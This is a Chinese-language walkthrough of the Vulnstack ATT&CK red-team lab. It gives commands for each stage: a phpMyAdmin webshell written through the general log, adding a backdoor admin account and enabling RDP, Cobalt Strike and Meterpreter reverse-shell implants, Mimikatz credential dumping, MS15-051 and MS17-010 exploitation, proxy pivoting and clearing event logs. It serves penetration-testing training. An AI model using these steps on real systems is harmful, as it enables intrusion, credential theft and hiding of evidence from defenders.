ATTCK实战系列——红队实战(一)
文章目录
- 网络拓扑
- 环境搭建
- 外网渗透
- 信息收集
- 端口扫描
- 目录扫描
- 漏洞利用
- phpmyadmin拿shell
- general_log_file写一句话
- 蚁剑连接
- 网站后台拿shell
- 关闭防火墙
- 新建用户,开启3389
- 内网渗透
- (一)CS
- CS木马上线
- 信息收集
- hashdump
- Mimikatz抓取明文密码
- 权限提升
- 横向移动
- CS痕迹清楚
- (二)MSF
- msf木马上线
- 信息收集
- 横向移动
- 添加路由、挂上Socks4a代理
- nmap漏洞扫描
- ms17-010命令执行
- rdesktop远程连接
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
开机密码:hongrisec@2019
进入环境后要先改系统密码
网络拓扑
环境搭建
先将 server2003 和 server2008 两台主机都设置为自定义VMnet1
VMnet1
仅主机模式的子网地址改为192.168.52.0
Win7添加一块网卡,一块是NAT模式
,另一块是VMnet1仅主机模式
IP地址:
win7: 192.168.52.128 10.9.75.6
2008: 192.168.52.138
2003: 192.168.52.141
启动Win7的Web服务
外网渗透
信息收集
端口扫描
nmap --min-rate 1000 10.9.75.6
sudo nmap -sT -sV -sC -O -p 80,3306 10.9.75.6
sudo nmap --script=vuln -p 3306,80 10.9.75.6
目录扫描
御剑后台扫描工具
访问80端口
知道了网站的绝对路径C:/phpStudy/WWW
存在root:root
弱口令
访问phpMyAdmin
漏洞利用
phpmyadmin拿shell
general_log_file写一句话
尝试能不能通过这个数据库管理页面写一句话,拿WebShell
SHOW GLOBAL VARIABLES LIKE "%secure%"
说明不能通过into outfile
来写一句话
查看general_log
是否开启
show global variables like "%general%"
开启general_log
set global general_log="on";
再次查询,此时日志功能就开启了
可以通过general_log_file
指定为一个php
后缀的文件,来写查询语句
set global general_log_file="C:\\phpstudy\\www\\shell.php";
select "<?php @eval($_REQUEST[6868])?>";
蚁剑连接
进入文件管理,发现一个beifen.rar
备份文件
下载到kali本地,然后解压
rar x beifen.rar
rar
解压:rar x FileName.rar
压缩:rar e FileName.rar
网站后台拿shell
http://10.9.75.6/yxcms/
http://10.9.75.6/yxcms/index.php?r=admin
登陆网站后台
新建前台模板,写一句话
<?php @eval($_POST['cmd'])?>;
在拿到的备份文件中,找到模板的上传点
http://10.9.75.6/yxcms/protected/apps/default/view/default/
访问webshell.php
http://10.9.75.6/yxcms/protected/apps/default/view/default/webshell.php
关闭防火墙
netsh advfirewall show allprofile state (显示防火墙)
netsh advfirewall set allprofiles state off (关闭防火墙)
新建用户,开启3389
net user saury 123.com /add # 添加账户密码
net localgroup administrators saury /add # 添加为管理员权限
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 开启3389端口
如果防火墙没关,rdp会登录失败
内网渗透
(一)CS
CS木马上线
kali既充当CS服务端,也充当CS客户端
启动服务端
客户端连接
开启监听
生成木马
点击Generate
生成木马artifact_x64.exe
,保存到 一个位置
木马上线
执行完木马文件后,CS木马就上线了
目标上线之后,我们第一步首先要做的就是先将睡眠时间设置为0
在会话交互框中输入命令:sleep 0
,将睡眠时间设置为0
在会话交互框中输入shell whoami可以瞬间得到如下所示的回显,说明睡眠时间设置为0完成
信息收集
一些CS内网信息收集的命令
shell whoami //显示administrator权限
shell systeminfo //查看系统信息
shell ipconfig /all //查看是否存在域
shell net time /domain //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。
shell net view /domain //查看所有域
shell nbtbios //快速探测内网
shell net group "domain computers" /domain //查看域控制器主机名
shell nltest /domain_trusts //查看域信任关系
shell net accounts /domain //查看域内账号密码信息
shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain //获取域控制器列表
shell net group "Domain Admins" /domain //获取域管理员列表
shell Tasklist /v //列出进程和进程用户
shell systeminfo
查看域中的机器
hashdump
Mimikatz抓取明文密码
或者直接输入命令也可以执行logonpasswords
权限提升
利用ms15-051
将win7提成SYSTEM权限
横向移动
通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机
新建一个SMB监听器
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用
psexec
或Stageless Payload
上线
拿下域控 主机
看到∞∞
这个字符 ,这就是派生的SMB Beacon
查看其IP地址
再次通过拿下的域控拿下其他域成员机
横向成功!!!
CS痕迹清楚
根据入侵的路径依次删除上传的工具、删除Web日志、FTP日志等。
清除安全日志
shell wevtutil cl Security
清除系统日志,
shell wevtutil cl System
清除应用日志
shell wevtutil cl Application
清除启动日志
shell wevtutil cl Setup
清除RDP登录日志
shell wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true
删除防火墙日志
shell del C:\Windows\System32\LogFiles\Firewall\pfirewall.log
删除PowerShell执行历史记录
shell del
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
(二)MSF
msf木马上线
制作msf木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-IP LPORT=your-PORT -f exe -o /home/kali/tmp/shell.exe
开启msf监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.9.75.3
set lport 4567
run
通过蚁剑将生成的木马上传并运行
木马成功上线,进行system提权
信息收集
首先获取目标主机的shell
出现乱码,可以使用chcp 65001
解决乱码问题
查看路由表
route print
可以看出内网网段是192.168.52.0/24
查看系统信息
systeminfo
查看是否在域内
ipconfig /all
net view /domain #查询当前主机是否加入域,如果加入则列出域名
net view //查看域内主机
得到域内其他主机地址
- OWA:192.168.52.138
- ROOT-TVI862UBEH:192.168.52.141
查看域内用户
net user /domain
获取主机用户密码哈希
hashdump
用户哈希数据的输出格式为:
用户名:SID:LM哈希:NTLM哈希:::
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。
MSF使用_MSF中kiwi(mimikatz)模块的使用
尝试抓取域内的账号密码:利用 msf 的 kiwi 模块
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用
注意执行需要system权限
creds_all #列举所有凭据
creds_kerberos #列举域内账号密码
横向移动
为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。
注:添加路由一定要在挂代理之前,因为代理需要用到路由功能
添加路由、挂上Socks4a代理
使用 msf+proxychains 搭建socks4a隧道,设置内网路由
run autoroute -s 192.168.52.0/24 # 添加内网的路由
run autoroute -p # 查看路由
暂时把会话挂起来background
use auxiliary/server/socks_proxy //使用socks代理
set SRVHOST 10.9.75.3 //MSF本机的IP地址
set VERSION 4a //设置socks代理的版本
exploit //开始代理
然后在 proxychains 的配置文件 /etc/proxychains4.conf
,添加Kali本机的1080端口:
sudo vim /etc/proxychains4.conf
然后执行命令时,前面加上 proxychains 即可
nmap漏洞扫描
proxychains nmap --script=vuln 192.168.52.141
ms17-010命令执行
知道了目标主机中存在一些漏洞:MS08-067、MS17-010等等,我们就可以用MS17-010的EXP来拿下目标主机,MS17-010的EXP打不了,它这个漏洞有很多莫名其妙的问题,很多其它的因素会导致各种各样的问题出现,打不了并不代表这个漏洞利用不了,有别的玩法,同样也是用MS17-010,MS17-010这个漏洞不光是可以用来拿权限,我们还可以用它来干其它的操作,比如说我们可以用这个漏洞来添加一个账户,因此我们需要用到对应的一个模块,在kali的具有MSF的那个终端中输入命令:这个模块可以在MSF中输入search ms17-010来搜索到,输入完命令之后,会出现很多模块
set rhosts 192.168.52.141 //设置IP地址为目标主机的IP地址
set COMMAND net user hack 123.com /add //设置要添加的账号和密码,密码在设置的时候要注意:这里的密码设置有一个策略的问题存在,所以我们在设置密码的时候需要搞得复杂一点,不然过不了
exploit //执行
得到以下的结果,说明执行成功
继续执行,将创建的hack
用户添加到管理员组
set command net localgroup administrators hack /add
exploit
查看用户是否添加到管理员组里面
set command net localgroup administrators
开启3389
因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
rdesktop远程连接
安装rdesktop
sudo apt install rdesktop
proxychains rdesktop 192.168.52.141